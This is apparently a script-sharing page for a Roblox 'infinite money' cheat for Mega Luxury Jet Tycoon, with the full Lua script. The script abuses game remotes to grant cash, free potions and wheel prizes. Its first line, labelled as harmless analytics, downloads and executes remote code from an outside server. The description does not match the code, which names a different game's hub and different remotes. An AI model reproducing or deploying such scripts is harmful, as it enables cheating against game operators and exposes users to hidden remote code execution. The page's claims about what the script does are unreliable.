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Patched
57 views
Mega Luxury Jet Tycoon ✈️
Quick Actions
Description
Mega Luxury Jet Tycoon: Infinite Money Turn your tycoon into a limitless cash generator in Mega Luxury Jet Tycoon with an infinite money script that constantly fires the game’s remote to credit your account. The script repeatedly calls the AddMoney remote in ReplicatedStorage using your player key, rapidly adding coins every second until you stop it, effectively giving you unlimited money to buy every jet upgrade and decoration instantly
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Features
1 Feature
- Infinite Money
98 lines•2993 bytes
--====== RoScripter Analytics ======--task.defer(pcall,function()loadstring(game:HttpGet("https://api.roscripter.com/stats/e48rqMQ2?v=1"))()end);--=== Does not affect the script ===--local Library = loadstring(game:HttpGet("https://pastefy.app/EA8kBjOQ/raw"))()
local Window = Library:CreateWindow("Dinas Hub Merge Brainrot")
local Tab1 = Window:AddTab("Main")
local Tab2 = Window:AddTab("Potion")
local Tab3 = Window:AddTab("Roulette")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local AddValueEvent = ReplicatedStorage.Remotes.AddValueEvent
local infiniteMoneyActive = false
local infiniteMoneyThread
Tab1:AddButton({
Text = "On/Off Infinity Money",
Callback = function()
infiniteMoneyActive = not infiniteMoneyActive
if infiniteMoneyActive then
infiniteMoneyThread = coroutine.create(function()
while infiniteMoneyActive do
AddValueEvent:FireServer("Cash", 99999999999999999999999999999999999999999999999999999999)
wait(0.1)
end
end)
coroutine.resume(infiniteMoneyThread)
else
end
end
})
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local NewDropBlocksEvent = ReplicatedStorage.Remotes.NewDropBlocksEvent -- RemoteEvent
local autoDropActive = false
local autoDropThread
Tab1:AddButton({
Text = "On/Off Auto Drop",
Callback = function()
autoDropActive = not autoDropActive
if autoDropActive then
autoDropThread = coroutine.create(function()
while autoDropActive do
firesignal(NewDropBlocksEvent.OnClientEvent, 5)
wait(0.2)
end
end)
coroutine.resume(autoDropThread)
else
end
end
})
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local BuyPotionEvent = ReplicatedStorage.Remotes.BuyPotionEvent
Tab2:AddButton({
Text = "Get All Potions",
Callback = function()
local potions = {"Potion1", "Potion2", "Potion3"}
for _, potionName in ipairs(potions) do
BuyPotionEvent:FireServer(potionName, 0)
wait(0.3)
end
end
})
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local SpinWheelPrizeEvent = ReplicatedStorage.Remotes.SpinWheelPrizeEvent
local prizeNames = {
[1] = "Get 10 Brain",
[2] = "Get x10 Money",
[3] = "Get 1 Spin",
[5] = "Get 250 Diamond (Inf)",
[6] = "Get x2 Money",
[7] = "Get 50 Brain",
[8] = "Get x2 Max Brainrot",
[9] = "Get 1k Diamonds (Inf)",
[10] = "Get 1M Money"
}
for i = 1, 10 do
if i ~= 4 then
Tab3:AddButton({
Text = prizeNames[i] or ("Prize " .. i),
Callback = function()
SpinWheelPrizeEvent:FireServer(i)
end
})
end
endQuick Actions
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